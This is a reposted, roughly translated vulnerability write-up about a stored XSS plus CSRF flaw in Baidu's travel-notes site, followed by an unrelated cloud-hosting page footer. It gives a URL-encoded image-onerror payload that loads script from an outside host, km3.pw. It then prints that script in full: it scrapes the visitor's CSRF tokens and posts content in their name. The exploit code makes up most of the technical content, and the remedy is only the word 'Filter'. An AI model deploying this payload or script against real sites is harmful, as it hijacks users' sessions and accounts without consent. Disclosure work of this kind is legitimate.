A sub-station stored XSS + csrf in Baidu

Source: Internet
Author: User

A sub-station stored XSS + csrf in Baidu

Today, as usual, I had nothing to do. I opened hao123 and looked for Station X. Suddenly I saw Baidu traveling and suddenly found some problems. Then my mother no longer had to worry about not replying to my post!

Illustration:
 


 



The first problem lies in Travel Notes> practical strategy
 



Enter some characters in it, click submit, and then capture the package and change the package.

Here, he will perform many verifications, so it won't work if he only modifies it once!
 



Xss is our input. Although the character is limited on the front end, there is no limit on the server to enter characters!

You can encode payload to the url and put it in!

Payload:

% 3 Cimg % 20src % 3Dx % 20 onerror % 3Ddocument. body. appendChild (createElement (% 2 Fscript % 2F. source )). src % 3 Dalt % 20alt % 3D % 2F % 2Fkm3. pw % 3E

Load the content of km3.pw/index.html!



Km3.pw content:
 


 

var bdsExp=/bdstoken" value="\w{32}/;var pidExp=/\w{24}" name="pid/;var yuanma = document.all[0].outerHTMLvar postoken1 = String(bdsExp.exec(yuanma)).replace('bdstoken" value="',"");var postoken2 = String(pidExp.exec(yuanma)).replace('" name="pid',"");function Connection(Sendtype,url,content,callback){if (window.XMLHttpRequest){var xmlhttp=new XMLHttpRequest();}else{var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");} xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4&&xmlhttp.status==200){callback(xmlhttp.responseText);}}xmlhttp.open(Sendtype,url,true);xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xmlhttp.send(content);}Connection("POST","http://lvyou.baidu.com/notes/post/submit","content=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E&nid=43cfba3e4ef59fdd26221554&bdstoken="+postoken1+"&pid="+postoken2+"&vcode_md5=&editorValue=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E",function(){});




As long as you visit my travel notes, I will reply 0x_Jin Test under my travel notes!



Let's take a look at the effect:
 





Test URL:

Http://lvyou.baidu.com/notes/43cfba3e4ef59fdd26221554


Solution:

Filter

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.